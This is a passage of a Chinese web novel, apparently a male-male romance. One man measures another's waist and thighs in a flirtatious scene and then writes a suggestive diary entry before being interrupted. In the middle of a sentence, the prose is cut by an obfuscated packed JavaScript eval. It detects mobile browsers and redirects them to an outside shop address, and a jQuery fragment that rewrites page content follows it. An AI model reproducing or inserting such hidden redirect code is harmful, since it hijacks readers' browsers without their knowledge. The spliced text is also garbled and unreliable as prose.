“十万。”陆屿轩满眼期待。 “五万,不能再多了。”陆执骁干脆驳回,“上次你给什么女爱豆直播打赏六七万,我还没跟你算账呢。” “那是我女神!我就这么一个喜欢的人,花点钱怎么了。”陆屿轩不满意地嘟囔。 陆执骁:“你赚钱了么,爱要不要,就五万,没事的话出去,我要洗澡了。” 陆屿轩骂骂咧咧走了。 等人走远,童冉才慢悠悠又从房间里出来,推开陆执骁的房间门。 “我过来了,哥哥。” 他顶着男人的目光,径直走进来,一屁股做到了陆执骁的床上。 陆执骁的目光往童冉的居家裤上落了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17433219|200941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落,喉结滚动了一下,到底还是一个字也没舍得训。 “你要怎么量?”他指指青年手里的软尺。 “直接量。”童冉笑眯眯做了个手势,“近一点,胳膊抬起来。” 陆执骁顺从照做,童冉起身,拿着软尺从陆执骁的腰侧绕了一圈,指尖隔着薄薄的布料,“不经意”擦过男人身上紧实的腹肌。 陆执骁倒是没怎么样,他的脸颊倒是先热了。 童冉咽了下口水,强迫自己淡定,“腰围79,很棒,模特尺寸。” 陆执骁对这个数字没太大反应,垂眼看着青年头顶的发旋:“你多少。” “我67。” “那你的腰太细了,我一只手就能掐过来” 童冉:“……” 童冉闭了闭眼,直男说话,就是这么没轻没重的。 腰围量完,童冉又指指床沿,“大腿围也要量。你坐下。” 他半跪子在地毯上,手掌心轻轻拍了下男人的膝盖,“分开一点。” “哦。”陆执骁完全不觉得这有什么不对,很配合地把两条长腿敞开。 童冉跪在他的腿间,捏着软尺,指尖沿着西裤内侧缓缓向上滑。 陆执骁的裤子很薄,能隐约感受到布料下紧致的肌肉轮廓。 他故意放慢动作,把时间拉得很长很长。 软尺绕过大腿最靠里的敏感位置,陆执骁呼吸一滞,忽然间,极其突兀地站了起来。 童冉被他吓了一跳:“怎么了?” “我想起来了,我有定制西装时保存的测量数据,”陆执骁滚动了一下喉咙,从桌上捞过手机,“我直接把收据发你,比你这样测量准确得多,你还不用跪着,膝盖痛。” 童冉:“…………” 童冉:我谢谢你。 一场处心积虑的【诱敌深入】,就这样被冰冷的数据终结了。 童冉怀着复杂的心情回到自己房间,把手机往床头一丢,看都懒得看陆执骁发的“标准测量数据”。 好一个不解风情的大直男! 这边正兴致勃勃地钓鱼呢,那边直接用数据说话了。 真有你的! 时间已经不早,童冉去冲了个澡,换上睡衣,从抽屉里摸出那本日记本。 本是想把大直男的种种“罪状”好好列一列,再吐槽一番,然而纸页一翻开,脑海里全是刚刚量尺寸时的画面。 男人的腰线紧致利落,充满力量感,两条腿又长又直,肌肉绷着劲儿…… 就完全在他的性癖上蹦迪! 童冉舔了舔干燥的嘴唇,捏着笔杆,开始写: 他是这个世界上唯一一个让我春心萌动的男人。 我想埋进他颈窝闻他皮肤的味道 想听他乱了节奏的呼吸 想用唇瓣去丈量他的腰线 想看他为我失控,为我流汗…… 最后一个字刚刚落笔,忽然,“咔哒”一声,房门被推开了。 陆执骁高大的身影出现在门口,手里端着一杯热牛奶。 童冉:“!” 童冉瞳孔微缩,完全没料到他会这个时候进来! 他“啪”得一下合上满是露骨文字的日记本,慌里慌张往枕头底下塞去……